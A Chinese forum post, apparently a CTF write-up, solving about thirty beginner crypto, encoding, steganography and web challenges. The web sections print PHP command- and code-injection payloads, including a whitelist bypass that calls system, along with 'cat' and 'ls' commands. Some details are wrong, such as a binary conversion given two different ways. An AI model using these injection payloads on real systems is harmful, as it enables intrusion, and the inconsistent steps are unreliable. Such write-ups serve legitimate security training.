2021年第四季度12月CTF 30题WP

Track-JARVIS   ·   发表于 2021-12-29 21:29:49   ·   CTF&WP专版

General Skills -Warmup 1

  • If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII?
  • 打开题目,我们抓住重点,0x41 很明显,这是16进制的41,我们转成10进制,65
  • 然后后面是问我们,这个在ASCII里面是什么,我们去ASCII码表里查看,65是A
  • 即flag为:flag{A}

General Skills -Warmup 2

  • Can you convert the number 27 (base 10) to binary (base 2)?
    flag: CTF{xxxx}
  • 抓重点,数字27 十进制,到二进制。
  • 转换以后为100111,即flag为:CTF{11011}

General Skills -Warmup 3

  • What is 0x3D (base 16) in decimal (base 10).
    flag: CTF{XXX}
  • 抓重点,0x3D 十六进制,到十进制。
  • 转换以后为61,即flag为:CTF{61}

凯撒人到了

  • 简单的古典密码:}382s73r6p4404r28419512s5ro451p46{uozt
  • 看到这串密码的话,仔细观察可以发现,是反着的,我们先反转一下,这里推荐一个Java写的CTF工具:CTFCrackTools
  • 我们使用Decrypt as选项下的Reverse,得到反转以后的加密字符串
  • 根据题目提示知道是凯撒密码,我们再使用Decrypt as选项下的CaesarCode
  • 得到flag为:flag{64b154ad5e21591482d4044b6d37e283}

凯撒密码

  • 这题就比上一题更简单了,直接就是一串凯撒密码,上工具
  • 得到flag为:flag{6bd37a2c97f7fe51d47981ba00bfafe4}

URL

  • 打开题目是一串url编码
  • 复制解码,发现还得解一次%66%6c%61%67%7b%75%73%65%72%6e%61%6d%65%3d%27%7a%6b%61%71%27%20%61%6e%64%20%31%3d%31%7d
  • 再解一次,得到flag:flag{username='zkaq' and 1=1}

栅栏

  • 根据题目,使用CTFCrackTools,使用Decrypt as选项下的Fence解密
  • 根据题目提示,得到flag为:flag{THEREISACIPHER}

easy_crypto

  • 打开题目发现一堆0和1
    11 11111 010 000 0 001101 1010 111 100 0 001101 01111 000 001101 00 10 1 0 010 0 000 1 01111 10 11110 101011
  • 疑似摩斯密码,使用在线工具解密:摩斯密码在线工具
  • Speace改成空格,Short改成0,Long改成1
  • 根据题目提示,可知flag为:flag{M0RSE_CODE_1S_INTEREST1N9!}

置换密码

  • 打开题目是一串乱七八糟的东西lfe{agdf7244bb47cd310b7b1d71e01c9e6d}c@@@@
  • 寻找规律后可进行分组
    1. lfe{ag
    2. df7244
    3. bb47cd
    4. 310b7b
    5. 1d71e0
    6. 1c9e6d
    7. }c@@@@
  • 按照215643的顺序重新排序
  • 得到flag为:flag{efd4427bbcd74137bb0d1e017c16de9c}

天罡北斗

  • 题目为:

    1. 110011001101100011000010110011101111011
    2. 100111000101101011001011000011101111111000101100111100000000001
    3. 1111011
  • 先对第一行进行分析:
    二进制 — 十六进制

    1. s1 = '110011001101100011000010110011101111011'
    2. hex(int(s5,2))
    3. # 0x666c61677b
  • 发现666c61677b,即flag{

  • 最后一行是{,猜测应该是}。

  • 同样对第二行分析:
    二进制 — 十六进制

    1. s2 = '100111000101101011001011000011101111111000101100111100000000001'
    2. hex(int(s1,2))
    3. # 4e2d65877f167801
    4. # 不在ASCII字符的表示范围。根据题目猜测为中文unicode编码。
    5. # 调整为unicode标准格式:
    6. # \u4e2d\u6587\u7f16\u7801
  • unicode解码,得到以下结果:

    1. 中文编码
  • 那么,三行的解码结果为:flag{中文编码}

What is this encryption?

  • RSA解密:
    1. from Crypto.Util.number import *
    2. p=0xa6055ec186de51800ddd6fcbf0192384ff42d707a55f57af4fcfb0d1dc7bd97055e8275cd4b78ec63c5d592f567c66393a061324aa2e6a8d8fc2a910cbee1ed9
    3. q=0xfa0f9463ea0a93b929c099320d31c277e0b0dbc65b189ed76124f5a1218f5d91fd0102a4c8de11f28be5e4d0ae91ab319f4537e97ed74bc663e972a4a9119307
    4. e=0x6d1fdab4ce3217b3fc32c9ed480a31d067fd57d93a9ab52b472dc393ab7852fbcb11abbebfd6aaae8032db1316dc22d3f7c3d631e24df13ef23d3b381a1c3e04abcc745d402ee3a031ac2718fae63b240837b4f657f29ca4702da9af22a3a019d68904a969ddb01bcf941df70af042f4fae5cbeb9c2151b324f387e525094c41
    5. c=0x7fe1a4f743675d1987d25d38111fae0f78bbea6852cba5beda47db76d119a3efe24cb04b9449f53becd43b0b46e269826a983f832abb53b7a7e24a43ad15378344ed5c20f51e268186d24c76050c1e73647523bd5f91d9b6ad3e86bbf9126588b1dee21e6997372e36c3e74284734748891829665086e0dc523ed23c386bb520
    6. n = p*q
    7. m = pow(c, inverse(e,(p-1)*(q-1)), n)
    8. print(long_to_bytes(m).decode())
    9. # ALEXCTF{RS4_I5_E55ENT1AL_T0_D0_BY_H4ND}

进制转换

  • 使用如下脚本中将文件内容进行进制转换,这里全部转为16进制格式

    1. s = ["d87","x65","x6c","x63","o157","d109","o145","b100000","d116","b1101111","o40","x6b","b1100101","b1101100","o141","d105","x62","d101","b1101001","d46","o40","d71","x69","d118","x65","x20","b1111001","o157","b1110101","d32","o141","d32","d102","o154","x61","x67","b100000","o141","d115","b100000","b1100001","d32","x67","o151","x66","d116","b101110","b100000","d32","d102","d108","d97","o147","d123","x31","b1100101","b110100","d98","d102","b111000","d49","b1100001","d54","b110011","x39","o64","o144","o145","d53","x61","b1100010","b1100011","o60","d48","o65","b1100001","x63","b110110","d101","o63","b111001","d97","d51","o70","d55","b1100010","d125","x20","b101110","x20","b1001000","d97","d118","o145","x20","d97","o40","d103","d111","d111","x64","d32","o164","b1101001","x6d","o145","x7e"]
    2. a= ""
    3. b= ""
    4. f= ""
    5. for i in s:
    6. a=i
    7. for j in range(1):
    8. if a[0:1]== 'd':
    9. b=str(hex(int(a[1:])))
    10. b= b[2:] + ""
    11. f= f + b
    12. if a[0:1]== 'x':
    13. b= a[1:] + ""
    14. f= f + b
    15. if a[0:1]== 'o':
    16. b=str(hex(int(a[1:], 8)))
    17. b= b[2:] + ""
    18. f= f + b
    19. if a[0:1]== 'b':
    20. b=str(hex(int(a[1:], 2)))
    21. b= b[2:] + ""
    22. f= f + b
    23. print(f)
    1. 得到16进制:
    2. 57656c636f6d6520746f206b656c61696265692e204769766520796f75206120666c6167206173206120676966742e2020666c61677b31653462663831613633393464653561626330303561633665333961333837627d202e2048617665206120676f6f642074696d657e
  • 再把16进制转为字符串

    1. 得到flag
    2. Welcome to kelaibei. Give you a flag as a gift. flag{1e4bf81a6394de5abc005ac6e39a387b} . Have a good time~

你悟了吗?

  1. from Crypto.Util.number import *
  2. s = '震兑巽艮艮兑巽兑震兑艮坤坎坎巽兑震乾离震震坎巽震震兑离震巽兑巽艮兑坎艮离艮巽坤兑震乾艮震离巽坤乾兑震离震离乾艮艮兑坎乾震巽巽坎坎震乾离震震巽艮震兑坎乾离艮巽艮离兑坎巽震乾兑巽离兑巽艮艮兑兑巽巽震乾艮震兑巽艮坎震乾艮震震坎坤坎'
  3. table= {'坤':'7',
  4. '艮':'6',
  5. '坎':'5',
  6. '巽':'4',
  7. '震':'3',
  8. '离':'2',
  9. '兑':'1',
  10. '乾':'0',
  11. }
  12. s2 = ''
  13. for c in s:
  14. print(table[c],end='')
  15. s2 += table[c]
  16. print('')
  17. s3 = int(s2,8)
  18. print(s3)
  19. print(long_to_bytes(s3))
  20. # flag{aa7ce8f7-9c58-4649-a734-260b3bdc35c7}

白与夜

  • 下载附件,有一张图片
  • 使用StegSolve打开,点几下就可以看到隐藏的flag了

exec3

  • 打开题目,看到源码
  • 很明显,可以执行命令,但是长度限制不能超过8
  • 传参1=ls /,发现根目录下有一个ffffllllaaaagggg文件
  • 由于长度的限制,不能直接cat,可以使用通配符1=cat /f*
  • 得到flag为:flag{09E2D0EDED27FE86}

fake

  • zip伪加密,010打开ZIP文件,把50 4B 01 02 1F 00 14 00 0D最后的0D改成00就可以打开了

foremost

  • 下载附件,有一张图片
  • 根据题目,猜测使用foremost工具解题
  • 成功分离出flag,flag为:falg{NSCTF_e6532a34928a3d1dadd0b049d5a3cc57}

密码破解

  • 下载附件,以文本格式打开
  • 发现flag,提交提示错误
  • 对大括号里面的十六进制进行转换:十六进制转字符串在线工具
  • 得到flag
  • flag为:flag{h1_c7f}

图片隐写基础

  • 下载图片后,用010Editor打开。
  • 使用模板JPG.bt进行分析,发现图片末尾中还有PK开头的内容。将这部分内容复制,另存为2.zip压缩文件(也可以直接改后缀为zip)。
  • 打开这个压缩文件,解压,得到flag.docx。
  • 再打开,得到flag:flag{feb35bfea597a2562c0680275d1370e7}

藏藏藏

  • 用winhex打开图片发现藏有一个docx文档,分离出来(懒的话就直接改后缀为zip)

  • 打开文档发现是个二维码 扫码即可解得flag:在线识别工具

你猜我是个啥

  • 发现png文件头,改文件格式后缀为png,打开扫码发现flag不在这里
  • 查看hex,滑到底就发现flag了
  • flag为:flag{i_am_fl@g}

二维码

  • 下载附件解压得到两张图片

  • 根据题目描述,猜测需要分析图片,这里使用工具Stegsolve,分析两张图片,发现一张二维码

  • 扫码得到flag

  • flag为:flag{so_simple_and_you_win}

福尔摩斯

  • 打开doc后,直接ctrl+f搜索flag,在下面这段文字后面发现flag

  • 将后面都复制出来,得到flag:flag{Fe7Ms9N1b_XxCtF2_36_Q7J_f5g2}

Love Math

  • 第一个限制 strlen($content) >= 80,字符不超过80

  • 第二个限制

    1. $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '[', ']'];是过滤了一些字符,其中包括[]和""
  • 第三个限制

    1. '$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];'要求必须使用给出的函数
  • 题目中给出了base_convert函数、dechex函数、hex2bin函数。

    1. base_convert() 函数:在任意进制之间转换数字。
    2. dechex() 函数:把十进制转换为十六进制。
    3. hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
    1. base_convert(37907361743,10,36) => "hex2bin"
    2. dechex(1598506324) => "5f474554"
  • 构造如下payload:

    1. c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls /
  • 其实就是:

    1. c=$p=_GET;($_GET){pi}($_GET){abs}&pi=system&abs=ls /
  • 通过这个就能看到flag文件了

  • 之后就是cat一下就行了,flag为:flag{477f86d9-c59b-4ce1-9987-536e6b36f5bb}

low1

  • 打开图片查看hex,发现flag就在结尾处。

  • flag 为 flag{e0323a9039add2978bf5b49550572c7c}

pilipili

  • 下载得到一个压缩包 bilibili.zip

  • 直接解压可以得到一个图片。

  • 打开查看hex 搜索 flag 发现里面存在txt文件

  • 直接用linx对图片文件进行分离(或者偷懒改成zip)。

  • 得到一个压缩包 查看hex 发现 50 4B 01 02 后面不对

  • 试着将 09 改为 00

  • 压缩包可以解压了。得到flag.txt 。但是只有前半部分。

  • 图片下面有很大的空白,用stegsolve得到后半部分。

  • 得到 flag:flag{madeebbyMoSen00x1}

SUB

  • Stegsolve直接合并

  • 刷几下出FLAG了,flag为:flag{yes_you_right!}

Word文档

  • 下载附件,查看hex

  • 看见压缩包文件头直接改文件后缀为zip即可

  • 打开压缩包发现flag.txt,打开得到flag

  • flag为:flag{xlsx,pptx,docx_are_just_zip_files}

纳尼

  1. 打开压缩包后 文本文档写 咦!这个文件怎么打不开?一眼文件头,发现少了GIF的文件头

  2. 补上GIF文件头 47 49 46 38

  3. 打开图片后是个GIF 把图片逐帧取出,可以放到这里面在线逐帧取:在线工具

  4. 把取出的内容拼接 发现是base64 在线转换即可获得flag:CTF{wang_bao_qiang_is_sad}

无语子

  • 访问得到
  • 闭合括号,使用;实现加入多条代码 进行命令执行
    传参
    1. /?hello=);var_dump(abc
    1. /?hello=);var_dump(`ls`
    1. /?hello=);var_dump(`cat flag.php`
  • 在源代码中看到flag,flag为:flag{eb3ee4ae-7ccb-45ae-b63b-3997f037dd75}

打赏我,让我更有动力~

0 条回复   |  直到 2021-12-29 | 2916 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.